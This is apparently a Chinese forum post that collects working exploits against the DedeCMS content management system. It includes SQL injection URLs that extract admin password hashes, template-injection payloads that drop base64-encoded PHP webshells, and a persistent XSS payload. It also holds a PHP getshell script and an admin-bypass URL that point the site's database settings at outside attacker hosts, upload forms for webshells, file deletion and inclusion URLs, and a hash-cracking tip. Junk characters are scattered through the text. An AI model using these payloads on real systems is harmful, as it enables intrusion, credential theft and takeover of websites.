dedecms漏洞总结

admin

: J8 j; X. D: o8 r- B2 t5 l' B- GDedecms 5.6 rss注入漏洞
http://www.test.com/plus/rss.php?tid=1&_Cs[][1]=1&_Cs[2))%20AND%20%22%27%22%20AND%20updatexml%281,%28SELECT CONCAT%280x5b,uname,0x3a,MID%28pwd,4,16%29,0x5d%29%20FROM%20dede_admin%29,1%29%23'][0]=1
! ~+ \, P' |. B
, m+ ]- Q! G9 U! g/ u! |




$ V2 l6 b8 C6 m5 J7 {  l) |; Q

, F/ g, T# G1 H# m3 VDedeCms v5.6 嵌入恶意代码执行漏洞
注册会员，上传软件：本地地址中填入 a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}
9 P$ n& s/ {! D% O8 p发表后查看或修改即可执行
& L& d# V5 J. ~a{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
# Z- C0 \$ Q1 I7 m0 H生成x.php 密码xiao，直接生成一句话。

) r  {4 k5 o6 i. E6 n& h5 J; g


- B3 Y% b5 N. D



8 n3 y( c4 S' e3 ?9 X9 s6 ~Dede 5.6 GBK SQL注入漏洞
http://www.test.com//member/index.php?uid=''%20||%20''''%20||%20''%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7'';
( ?8 `2 \- m: h, o3 whttp://www.test.com//member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7WFXSSProbe
http://www.test.com/member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7
! P- Z' r0 g  s( Q7 x
8 n3 @& `, o5 _. s$ e" ?. z( v/ T  \
; ?. W1 [" a6 X5 F( L" S+ j, v
8 U* Y* i) j& {  ^
5 ?5 D/ D( H, s6 p& l7 i
6 @0 ]* A+ K' h. z$ B3 E3 x
& f1 G# a) |: E( t4 t+ R

DedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
1 J$ O4 P/ l$ u8 Qhttp://www.test.com/plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`
- b7 f/ M& ?: t  i0 ]  H8 T# S# `1 K+ R



7 T# V, n- J+ s6 a

DEDECMS 全版本 gotopage变量XSS漏洞
- g* o0 N4 ?0 n% z9 @" Y1.复制粘贴下面的URL访问，触发XSS安装XSS ROOTKIT,注意IE8/9等会拦截URL类型的XSS漏洞，需关闭XSS筛选器。
* E/ t6 U7 H7 `5 ahttp://v57.demo.dedecms.com/dede/login.php?gotopage="><script>eval(String.fromCharCode(80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,61,39,34,62,60,115,99,114,105,112,116,62,97,108,101,114,116,40,47,120,115,115,32,114,111,111,116,107,105,116,33,47,41,60,47,115,99,114,105,112,116,62,60,120,61,34,39,59,32,13,10,118,97,114,32,100,97,116,101,61,110,101,119,32,68,97,116,101,40,41,59,13,10,118,97,114,32,101,120,112,105,114,101,68,97,121,115,61,51,54,53,59,32,13,10,100,97,116,101,46,115,101,116,84,105,109,101,40,100,97,116,101,46,103,101,116,84,105,109,101,40,41,43,101,120,112,105,114,101,68,97,121,115,42,50,52,42,51,54,48,48,42,49,48,48,48,41,59,13,10,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,61,39,103,111,116,111,112,97,103,101,61,39,43,80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,43,39,59,101,120,112,105,114,101,115,61,39,43,100,97,116,101,46,116,111,71,77,84,83,116,114,105,110,103,40,41,59,13,10,97,108,101,114,116,40,39,88,115,115,32,82,111,111,116,107,105,116,32,73,110,115,116,97,108,108,32,83,117,99,99,101,115,115,102,117,108,32,33,33,33,33,39,41,59))</script><x="


2.关闭浏览器，无论怎么访问下面的任意URL，都会触发我们的XSS。
http://v57.demo.dedecms.com/dede/login.php?gotopage=dasdasdasda

% {- ]! k2 m3 X8 A
7 ^; ~% W* F1 t; Zhttp://v57.demo.dedecms.com/dede/login.php
' I3 i+ h5 ?, X% m& d
% r! D  _9 Z/ \1 d. w
color=Red]DeDeCMS(织梦)变量覆盖getshell
- Y- k- |) Z# X/ V. m5 V#!usr/bin/php -w
1 P2 n, N! |  F; G<?php
error_reporting(E_ERROR);
  o* w6 E: ~8 x- d+ Lset_time_limit(0);
print_r('
DEDEcms Variable Coverage
, ]% M. D5 C  O$ D4 g2 V3 gExploit Author: www.heixiaozi.comwww.webvul.com
);
echo "\r\n";
if($argv[2]==null){
print_r('
2 r1 w& d: K8 R+---------------------------------------------------------------------------+
* B5 d6 t0 U. l/ s( L9 MUsage: php '.$argv[0].' url aid path
aid=1 shellpath /data/cache aid=2 shellpath= / aid=3 shellpath=/plus/
Example:
php '.$argv[0].' www.site.com 1 old
4 o3 h$ i- }) d+---------------------------------------------------------------------------+
');
  R/ ~8 F: Q4 X% m2 a: Mexit;
; }: q/ H' ~5 L# [* i}
7 r, n7 ]  H6 N- r1 N4 R$url=$argv[1];
7 l. P2 U( a. K$aid=$argv[2];
" I& S8 J( {- T5 _$ {9 @$path=$argv[3];
& F$ X) E4 D5 \& X6 c$exp=Getshell($url,$aid,$path);
8 E0 G* r1 k" ^5 Jif (strpos($exp,"OK")>12){
# I7 J2 J* f2 ?7 F2 kecho "
- I/ E6 B; {* |9 D! Y. Z' l: P6 k0 g+ o! OExploit Success \n";
- o9 N* \" B( _2 Lif($aid==1)echo "
/ {8 W9 L8 s2 z  m% pShell:".$url."/$path/data/cache/fuck.php\n" ;

* ^) K6 F1 R, V; e; u' h
0 K1 A/ y: O) a+ `1 m4 y) `if($aid==2)echo "
Shell:".$url."/$path/fuck.php\n" ;


if($aid==3)echo "
6 N. g+ G" p! G  m, h6 V0 NShell:".$url."/$path/plus/fuck.php\n";
- ]. y3 ?' Q8 M0 }' N  D
1 p1 v/ y* u- e2 T( \& O- R
}else{
echo "
+ ~( D3 a, d# z* l2 L4 R8 XExploit Failed \n";
# y5 W' {. S  p, {}
function Getshell($url,$aid,$path){
9 i  J: J/ r+ s, M& p+ Q7 u$id=$aid;
$host=$url;
$port="80";
$content ="doaction=http%3A%2F%2F$host%2Fplus%2Fmytag_js.php%3Faid%3D1&_COOKIE%5BGLOBALS%5D%5Bcfg_dbhost%5D=184.105.174.114&_COOKIE%5BGLOBALS%5D%5Bcfg_dbuser%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbpwd%5D=90sec&_COOKIE%5BGLOBALS%5D%5Bcfg_dbname%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbprefix%5D=dede_&nocache=true&QuickSearchBtn=%CC%E1%BD%BB";
$data = "POST /$path/plus/mytag_js.php?aid=".$id." HTTP/1.1\r\n";
* b& j# d; {% v* E' [% F% p$data .= "Host: ".$host."\r\n";
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
6 D$ Q8 V1 W, p& w1 h$data .= "Accept-Language: zh-cn,zh;q=0.5\r\n";
//$data .= "Accept-Encoding: gzip,deflate\r\n";
) M' ^3 b& |' _7 Q, r5 ]2 \3 b$data .= "Accept-Charset: GB2312,utf-8;q=0.7,*;q=0.7\r\n";
; q4 b9 S& I4 d3 p$data .= "Connection: keep-alive\r\n";
$data .= "Content-Type: application/x-www-form-urlencoded\r\n";
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
$data .= $content."\r\n";
$ock=fsockopen($host,$port);
if (!$ock) {
echo "
/ d, @; O# _! L7 x" QNo response from ".$host."\n";
8 ]$ R. W! U" ~$ ^2 T}
fwrite($ock,$data);
while (!feof($ock)) {
$exp=fgets($ock, 1024);
return $exp;
. C# L9 s- ]% B* x( \& w}
0 Q, ?% V$ O! v+ t6 F}
4 o% K' X5 G9 E" r, [; \

/ D5 |- R1 ]6 }, Q" w# P?>
2 }$ H* i( `, m2 B9 V, D9 D( J
, [& w2 y1 a4 h; o4 u) M7 ~1 l  e% T& H; a




; ]- d7 ?* {: W/ m& G" `# O9 R( R  ]2 h
( s) [9 ^0 G/ q

' b9 B, c8 I7 j5 s8 o5 D
) A$ W5 r/ N' i3 E* j. Q( IDedeCms v5.6-5.7 越权访问漏洞(直接进入后台)
; h! ?5 R3 g1 Y4 phttp://www.ssvdb.com/织梦网站后台/login.php?dopost=login&validate=dcug&userid=admin&pwd=inimda&_POST[GLOBALS][cfg_dbhost]=116.255.183.90&_POST[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS][cfg_dbpwd]=r0t0&_POST[GLOBALS][cfg_dbname]=root
& N5 |. y& I: X& ?! N2 w9 r; L
, u) n, m6 Z, X, \3 T
把上面validate=dcug改为当前的验证码，即可直接进入网站后台
# T3 U  r) l8 o+ E) ^5 H( k1 A% S' {

; S. J3 q, f/ ]6 @2 J# a8 ~此漏洞的前提是必须得到后台路径才能实现

/ T! w# t/ {1 H2 l9 I



3 p/ O( t: F4 M" P
7 h6 U  @5 g5 j- g3 a. I
- S, i: Z9 v4 R1 C$ A" S( L& P- M6 u# H
3 C* X% n! J4 ]; y% h

Dedecms织梦 标签远程文件写入漏洞
前题条件，必须准备好自己的dede数据库，然后插入数据： insert into dede_mytag(aid,normbody) values(1,''{dede:php}$fp = @fopen("1.php", \''a\'');@fwrite($fp, \''\'');echo "OK";@fclose($fp);{/dede:php}'');


再用下面表单提交，shell 就在同目录下 1.php。原理自己研究。。。
<form action="" method="post" name="QuickSearch" id="QuickSearch">
<input type="text" value="http://www.tmdsb.com/plus/mytag_js.php?aid=1" name="doaction" style="width:400"><br />
% t) g0 M4 L6 d, J+ }6 R<input type="text" value="dbhost" name="_COOKIE[GLOBALS][cfg_dbhost]" style="width:400"><br />
<input type="text" value="dbuser" name="_COOKIE[GLOBALS][cfg_dbuser]" style="width:400"><br />
" p( S- [! p6 J& c1 {4 R<input type="text" value="dbpwd" name="_COOKIE[GLOBALS][cfg_dbpwd]" style="width:400"><br />
<input type="text" value="dbname" name="_COOKIE[GLOBALS][cfg_dbname]" style="width:400"><br />
<input type="text" value="dede_" name="_COOKIE[GLOBALS][cfg_dbprefix]" style="width:400"><br />
: l+ ^3 p% v" v/ b* k" k8 A6 J0 }<input type="text" value="true" name="nocache" style="width:400">
$ W8 i3 F: S% |6 w% k- s<input type="submit" value="提交" name="QuickSearchBtn"><br />
</form>
<script>
/ I, w1 d4 y9 G: R( p. x- A9 ]function addaction()
{
document.QuickSearch.action=document.QuickSearch.doaction.value;
}
/ R7 s' u' a8 K</script>
; X4 r2 F, X6 R' q+ W



7 ]2 F# ~$ ^' `+ @
9 c; n: C; ~6 }/ z( G6 C



- M# P$ j0 a; H. ^* m
DedeCms v5.6 嵌入恶意代码执行漏洞
注册会员，上传软件：本地地址中填入a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}，发表后查看或修改即可执行
a{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
生成x.php 密码：xiao直接生成一句话。密码xiao 大家懂得
* P9 |7 ^5 G. K  [" v4 u' ~9 rDedecms <= V5.6 Final模板执行漏洞
; b7 l/ H, ~* b) l9 X& Z注册一个用户，进入用户管理后台，发表一篇文章，上传一个图片，然后在附件管理里，把图片替换为我们精心构造的模板，比如图片名称是：
uploads/userup/2/12OMX04-15A.jpg
# y0 i0 Q  {: j- r5 r

# S( \8 b/ s" o$ I: |/ l模板内容是（如果限制图片格式，加gif89a）：
: m" n9 v/ g. F# _{dede:name runphp='yes'}
$fp = @fopen("1.php", 'a');
' u* |, e" j& L, J6 z@fwrite($fp, '<'.'?php'."\r\n\r\n".'eval($_POST[cmd])'."\r\n\r\n?".">\r\n");
@fclose($fp);
{/dede:name}
* E, H, P1 B% D% D( {7 m2 修改刚刚发表的文章，查看源文件，构造一个表单：
<form class="mTB10 mL10 mR10" name="addcontent" id="addcontent" action="http://127.0.0.1/dede/member/article_edit.php" method="post" enctype="multipart/form-data">
<input type="hidden" name="dopost" value="save" />
<input type="hidden" name="aid" value="2" />
<input type="hidden" name="idhash" value="f5f682c8d76f74e810f268fbc97ddf86" />
<input type="hidden" name="channelid" value="1" />
8 b& R: L/ H& u+ w7 t  [+ h: S<input type="hidden" name="oldlitpic" value="" />
<input type="hidden" name="sortrank" value="1275972263" />
, \% H/ B# I/ D* P  M

<div id="mainCp">
  v- c) c/ }- e% T) C1 `* i<h3 class="meTitle"><strong>修改文章</strong></h3>


<div class="postForm">
% I/ d% K2 ?, \- M3 P7 `<label>标题：</label>
<input name="title" type="text" id="title" value="11233ewsad" maxlength="100" class="intxt"/>

5 K6 e7 D/ t" @! o
<label>标签TAG：</label>
: R" N6 Q1 c% j- B% S<input name="tags" type="text" id="tags" value="hahah,test" maxlength="100" class="intxt"/>(用逗号分开)
/ c6 Q  [, |. t

<label>作者：</label>
<input type="text" name="writer" id="writer" value="test" maxlength="100" class="intxt" style="width:219px"/>
/ h  @; t1 G, t! S/ f- C
& W7 G: s" v; B6 m  ?
0 J9 p! _8 j- ]; {$ y4 f, I<label>隶属栏目：</label>
<select name='typeid' size='1'>
( t. P7 M! h0 v) j" n<option value='1' class='option3' selected=''>测试栏目</option>
. l  M' U  D' a6 M</select> <span style="color:#F00">*</span>(不能选择带颜色的分类)
0 t3 L: H& }/ P& Z- |1 Q/ q4 K

2 `5 A# |3 a4 O) R- s- x<label>我的分类：</label>
<select name='mtypesid' size='1'>
' u5 I! i2 u( g; s5 M* N- v<option value='0' selected>请选择分类...</option>
<option value='1' class='option3' selected>hahahha</option>
7 f6 J# J: t: w, Q0 z</select>
- q2 Z* r0 k! Y* d% z- J1 ~4 o

+ {( u4 }$ A0 u) g! W<label>信息摘要：</label>
# X& V0 V" S/ W( F; R& N<textarea name="description" id="description">1111111</textarea>
  S0 U: p; l8 S/ I) Q/ d( k8 X(内容的简要说明)
' I2 Y6 d' H* H7 D5 Z

<label>缩略图：</label>
1 ]- S  J0 z: f+ a+ L<input name="litpic" type="file" id="litpic" maxlength="100" class="intxt"/>

7 U# j. H% G% Y; H4 A6 K
  h" H( ]: X& h1 S( o5 x" E<input type='text' name='templet'
value="../ uploads/userup/2/12OMX04-15A.jpg">
! X. }! }3 I1 Z6 {0 D<input type='text' name='dede_addonfields'
- W' u" B- p* i" M; H! r* ivalue="templet,htmltext;">（这里构造）
</div>
% ^6 g5 L" u) Y9 I3 r7 ]# S0 w. P

<!-- 表单操作区域 -->
7 m1 M8 s  Y+ \( d2 y( L<h3 class="meTitle">详细内容</h3>
- t  m# u+ y- c% K2 u2 Q3 N1 Y
1 l# a) p& r- b" i4 C; L
<div class="contentShow postForm">
) o+ r) z- @% C5 T  [& d<input type="hidden" id="body" name="body" value="<div><a href="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" target="_blank"><img border="0" alt="" src="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" width="1010" height="456" /></a></div> <p><?phpinfo()?>1111111</p>" style="display:none" /><input type="hidden" id="body___Config" value="FullPage=false" style="display:none" /><iframe id="body___Frame" src="/dede/include/FCKeditor/editor/fckeditor.html?InstanceName=body&Toolbar=Member" width="100%" height="350" frameborder="0" scrolling="no"></iframe>


5 h# g/ G/ ^1 o5 B1 n3 k<label>验证码：</label>
<input name="vdcode" type="text" id="vdcode" maxlength="100" class="intxt" style='width:50px;text-transform:uppercase;' />
; A( ~2 X9 w5 W* F" j<img src="http://127.0.0.1 /dede/include/vdimgck.php" alt="看不清？点击更换" align="absmiddle" style="cursor:pointer" />
! l- t9 {0 l7 H9 \1 n: Y

' ?, E: j5 }7 i<button class="button2" type="submit">提交</button>
; N- N2 t: m& Y: f1 c! [3 H<button class="button2 ml10" type="reset">重置</button>
: w* F4 _. V5 Q$ k1 J5 a</div>
0 C, l/ q  l' d) z' t, F
! T, Q4 T" l* \5 m+ ]' x
</div>


- H4 K# j! X7 w  [" E</form>

4 L8 _' o9 q! ~& d; v
提交，提示修改成功，则我们已经成功修改模板路径。 3 访问修改的文章：
假设刚刚修改的文章的aid为2，则我们只需要访问：
http://127.0.0.1/dede/plus/view.php?aid=2
# e9 v  [: ?% y% r( D' G即可以在plus目录下生成webshell：1.php
0 p8 ?0 u6 {# H' [/ ~
9 a: n/ a3 Q& l1 ]

0 E% x* E+ _! v* z
4 C9 _( j6 N4 a9 ]# _4 X$ a6 }5 Z# P
; O$ p- d7 c, F  `7 _% f5 ?- w3 F


4 u! n& |$ S. s2 }- B: D
' I+ I1 q' l6 ?8 r

- f8 Y( _) L) R, l
DEDECMS网站管理系统Get Shell漏洞(5.3/5.6)
. k8 E3 n$ K) K, g; C$ `$ d+ X1 i+ ]6 kGif89a{dede:field name='toby57' runphp='yes'}
phpinfo();
/ b( x. z* b5 Z* \  |{/dede:field}
保存为1.gif
/ P0 h' C, f5 p+ [; _/ t<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/uploads_edit.php" method="post" enctype="multipart/form-data" ">
4 M  Z0 N; ~2 Y0 \<input type="hidden" name="aid" value="7" />
<input type="hidden" name="mediatype" value="1" />
  p6 \+ O: q# h( }. l# r7 N<input type="text" name="oldurl" value="/DedeCmsV5.6-GBK-Final/uploads/uploads/userup/3/1.gif" /></br>
<input type="hidden" name="dopost" value="save" />
# |8 n! P7 x+ [1 n' r' U<input name="title" type="hidden" id="title" value="1.jpg" class="intxt"/>
- \! g2 J$ d9 Q<input name="addonfile" type="file" id="addonfile"/>
<button class="button2" type="submit" >更改</button>
/ T3 q# R5 u2 R% q* a7 ?5 b+ [</form>

( b" M. R( T! _, [" d! I- Q) w  ~
构造如上表单，上传后图片保存为/uploads/userup/3/1.gif
9 @* {8 A2 T& l( P- G发表文章，然后构造修改表单如下：

" b! N7 \9 d/ y# O
<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/article_edit.php" method="post" enctype="multipart/form-data">
& ]# p- h- J& c<input type="hidden" name="dopost" value="save" />
5 p. P* \4 e. I- B* F4 H<input type="hidden" name="aid" value="2" />
; w; `$ j8 ?% S* j% G<input type="hidden" name="idhash" value="ec66030e619328a6c5115b55483e8dbd" />
<input type="hidden" name="channelid" value="1" />
<input type="hidden" name="oldlitpic" value="" />
# T+ q; C6 N" {<input type="hidden" name="sortrank" value="1282049150" />
<input name="title" type="text" id="title" value="aaaaaaaaaaaaaaa" maxlength="100" class="intxt"/>
<input type="text" name="writer" id="writer" value="123456" maxlength="100" class="intxt" style="width:219px"/>
* s1 T; `8 S  D, ~<select name='typeid' size='1'>
. x/ z9 ~0 [' y; U! f9 b/ {6 d/ X* @! p<option value='1' class='option3' selected=''>Test</option>
<select name='mtypesid' size='1'>
) T$ K6 U4 `+ m, @3 C4 u<option value='0' selected>请选择分类...</option>
& e! E9 @. O. p( L) d<option value='1' class='option3' selected>aa</option></select>
<textarea name="description" id="description">aaaaaaaaaaaaa</textarea>
3 U* ?: L, G3 m1 t$ }9 U% n# E<input type='hidden' name='dede_addonfields' value="templet">
3 m7 H7 y4 j, F* w. |4 j<input type='hidden' name='templet' value="../uploads/userup/3/1.gif">
<input type="hidden" id="body" name="body" value="aaaa" style="display:none" />
; m9 y9 A  A  ~. q  D' M<button class="button2" type="submit">提交</button>
</form>

% C  B* f$ w3 g' ~" E8 x0 H! @

4 `3 ]( M' u# Z

! I8 x/ O, u4 }* c2 R" k

, {3 a/ j" k3 N
% Z: O) `; d& U
. F2 `4 [5 f4 z2 j1 x8 q
8 v8 X. G  ?+ \5 j' s1 j! F9 v2 F8 `# q

/ Y4 r1 I$ H; o+ y织梦(Dedecms)V5.6 远程文件删除漏洞
http://test.com/member/edit_face.php?dopost=delold&oldface=/uploads/userup/8/../../../member/templets/images/m_logo.gif

) M" x5 F( W# G$ p8 v



/ ]: f' |, s- U+ X6 G2 Y5 ~% R

6 W! j1 j' l% w6 F


织梦(Dedecms) V5.6 plus/carbuyaction.php 本地文件包含漏洞
http://www.test.com/plus/carbuya ... urn&code=../../
- a: G/ f5 G  ^( b- J
+ b. g4 Y# Z5 \0 ~- T: T: T
! O) W" r2 J# O7 e, c0 W. B# Q
5 u9 q* {& M7 j; [$ y$ _
% m2 h" C: `% v


1 h4 a* X' c: f) b( I1 F5 F


. Z! ?6 `& ?% O, KDedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
1 g; T; g) H/ I) u' Oplus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`
. T: T, |( h. H密码是32位MD5减去头5位，减去尾七位，得到20 MD5密码，方法是，前减3后减1，得到16位MD5




( U- D2 I; D8 D& f

6 {8 g+ h" I9 R+ n' g


4 d6 f) m! T$ q
织梦(Dedecms) 5.1 feedback_js.php 注入漏洞
) B  Q7 J& `; r  S3 [4 B; u9 dhttp://st0p/dedecms51/plus/feedback_js.php?arcurl=' union select "' and 1=2 union select 1,1,1,userid,3,1,3,3,pwd,1,1,3,1,1,1,1,1 from dede_admin where 1=1 union select * from dede_feedback where 1=2 and ''='" from dede_admin where ''='
! l. }- ^/ Q6 @  Y5 ]
7 p7 j+ o6 Z  W& d9 u
! I( C( k$ d* F  U% r# \


" b' i7 i& K1 E; |& |
, }7 _$ ?$ j# m3 `5 I

) P( M$ R9 b# y& t3 p8 l

. A/ g; O' K8 s9 d( y织梦(Dedecms)select_soft_post.php页面变量未初始漏洞
<html>
<head>
<title>Dedecms v55 RCE Exploit Codz By flyh4t</title>
</head>
+ Z1 `. ]* G+ T! U# j" \5 K<body style="FONT-SIZE: 9pt">
---------- Dedecms v55 RCE Exploit Codz By flyh4t---------- <br /><br />
# \, F8 @# h; V& F0 M1 ~8 x* s<form action=http://www.nuanyue.com/uploads/include/dialog/select_soft_post.php method='POST' enctype="multipart/form-data" name='myform'>
<input type='hidden' name='activepath' value='/data/cache/' />
( q) w8 u) `% S5 E) `6 P- |7 ]<input type='hidden' name='cfg_basedir' value='../../' />
' J2 e7 S" @( E' I5 }* s- x<input type='hidden' name='cfg_imgtype' value='php' />
/ R' e& B% o! M0 K  z<input type='hidden' name='cfg_not_allowall' value='txt' />
<input type='hidden' name='cfg_softtype' value='php' />
! ~6 h; u8 ]( t/ ?9 J7 ~: ^<input type='hidden' name='cfg_mediatype' value='php' />
3 D3 h/ X3 `- e) E<input type='hidden' name='f' value='form1.enclosure' />
0 k. R1 t5 G! L<input type='hidden' name='job' value='upload' />
<input type='hidden' name='newname' value='fly.php' />
4 X7 i8 O: y8 g) K" sSelect U Shell <input type='file' name='uploadfile' size='25' />
  E8 ?! m( y+ ?" i<input type='submit' name='sb1' value='确定' />
</form>
<br />It's just a exp for the bug of Dedecms V55...<br />
+ K& d* u8 Y5 w* yNeed register_globals = on...<br />
Fun the game,get a webshell at /data/cache/fly.php...<br />
</body>
$ ^# H+ _: E, \2 C! o</html>
2 J- M* X7 f; K$ P2 f
) u% E! \! t- n+ L) A

7 }9 ~$ T% ^9 W: R




+ x" _3 k- O8 @0 m# z/ d% W
# X. L& G% B1 c. g. [
# s( z6 {* T2 Z$ R2 H织梦(dedecms)5.3 – 5.5 plus/digg_frame.php 注入漏洞
! ?1 G. Y9 s( s( o利用了MySQL字段数值溢出引发错误和DEDECMS用PHP记录数据库错误信息并且文件头部没有验证的漏洞。
- `7 [, h4 |. ~! W/ w1. 访问网址：
http://www.abc.com/plus/digg_fra ... 024%651024&mid=*/eval($_POST[x]);var_dump(3);?>
可看见错误信息
9 p+ K+ T/ m# U- H1 |
. s: f; s8 A5 P) [  ?2 _
* J8 ?2 \5 X$ o* V, H. T4 [, a! I2. 访问 http://www.abc.com/data/mysql_error_trace.php 看到以下信息证明注入成功了。
int(3) Error: Illegal double '1024e1024' value found during parsing
) J9 {* O% [9 V5 L0 X# Y7 i9 bError sql: Select goodpost,badpost,scores From `gxeduw_archives` where id=1024e1024 limit 0,1; */ ?>


; r6 M6 r% F8 c4 e4 h; k- b8 Y3. 执行dede.rar里的文件 test.html，注意 form 中 action 的地址是


<form action=”http://www.abc.com/data/mysql_error_trace.php” enctype=”application/x-www-form-urlencoded” method=”post”>
" ^% I. f$ V/ z2 Q2 F5 G+ @
, g! w6 D9 Q! s
  k9 E' \0 n# _) n0 [( J" R按确定后的看到第2步骤的信息表示文件木马上传成功.
6 N/ h- X: h& g0 l" J! L
4 n3 x3 ?7 C: |' _
! P" f3 b- V* {9 s, a; Q0 i- m, w
( J/ |, j5 v7 Y5 m" _, u



# `3 N, p4 y" |& F" T# v5 D5 R

9 ]2 y$ H% ^/ k( n

* u/ G. C. y/ l* k3 x
织梦(DedeCms)plus/infosearch.php 文件注入漏洞
, @  }/ a# p5 d5 H' ]/ ]+ [  Yhttp://localhost/plus/infosearch.php?action=search&q=%cf'%20union%20select%201,2,userid,4,pwd,6%20from%20dede_admin/*